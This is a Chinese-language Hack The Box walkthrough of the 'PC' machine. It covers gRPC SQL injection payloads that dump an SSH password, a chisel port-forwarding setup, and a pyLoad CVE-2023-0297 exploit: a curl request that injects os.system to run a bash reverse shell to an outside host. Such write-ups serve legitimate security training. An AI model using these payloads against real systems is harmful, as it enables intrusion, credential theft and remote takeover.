HTB-PC
一、思路概要
1.端口扫描发现gRPC
服务;
2.gRPC
存在SQL注入获取到SSH账户;
3.SSH连接查看主机端口服务发现pyLoad服务;
4.pyLoad服务存在RCE(CVE-2023-0297)反弹shell获取root权限。
二、信息收集
nmap扫描端口服务
nmap -p- --min-rate 10000 -Pn -sT 10.10.11.214
非常规端口50051,直接浏览器访问是乱码,google发现是gRPC默认端口
google关键字:gRPC exploit
https://medium.com/@ibm_ptc_security/grpc-security-series-part-3-c92f3b687dd9
文章大致意思是,有一个SQL注入
工具:
grpcurl:https://github.com/fullstorydev/grpcurl
grpcui:https://github.com/fullstorydev/grpcui
用grpcurl可以查看一些基本服务,SimpleApp对应有LoginUser、RegisterUser、getInfo三个接口方法
用grpcui工具,执行如下命令,实现与gRPC服务交互
./grpcui -plaintext 10.10.11.214:50051
自动打开如下web页面,然后打开Burpsuite,捕获下面的操作过程,方便测试SQL注入

在LoginUser接口,弱口令admin:admin
成功认证(下面的认证路径是通过观察响应的message,尝试出来的正确认证过程)

得到一个id
和token
525
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTQ0MDgzMjB9.SH7DanchqAh3QMbI2q8VTH9X1qKX438MtNA8Ixr9TNU
然后到getInfo接口,Request Metadata
填入对应的token键值对,Request Data
填入id值

点击Invoke
之后,响应也是成功的响应

三、gRPC SQL注入
在最后getInfo的数据包中,id部分可能存在注入,因为加单引号会有报错提示
把请求包保存为sqltest文件,sqlmap注入,笔者此处sqlmap跑不出,手工可以注出数据
sqlmap -r sqltest -p id -f --batch --dump-all
手工(注意union前id改为一个错误id):
"id":"520 union select sqlite_version(); --+"
#表名,数据库名
"id":"520 union select group_concat(sql) from sqlite_master --+"
#username的值
"id":"520 union select group_concat(username) from accounts --+"
#password
"id":"520 union select group_concat(password) from accounts --+"
新找到一个用户
sau : HereIsYourPassWord1431
SSH连接
netstat -antp
查看端口开放情况,有9666端口是开放的,但访问不到,那就尝试把对内开放的8000端口做端口转发
从本地下载chisel
本地kali执行
python3 -m http.server 80
目标靶机执行
wget http://10.10.14.8/chisel
chmod +x chisel
建立端口转发
本地kali执行
./chisel server --port 9898 --reverse
目标靶机执行
./chisel client -v 10.10.14.8:9898 R:8000:127.0.0.1:8000
本地浏览器访问127.0.0.1:8000

四、pyLoad RCE(CVE-2023-0297)
google关键词:pyload exploit
https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad
在目标靶机/tmp
目录下新建一个shell.sh
,写入如下反弹shell脚本
bash -i >& /dev/tcp/10.10.14.8/9899 0>&1
本地kali开启监听nc -lvnp 9899
靶机执行如下命令
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"bash%20/tmp/shell.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
成功获取root权限
Over!
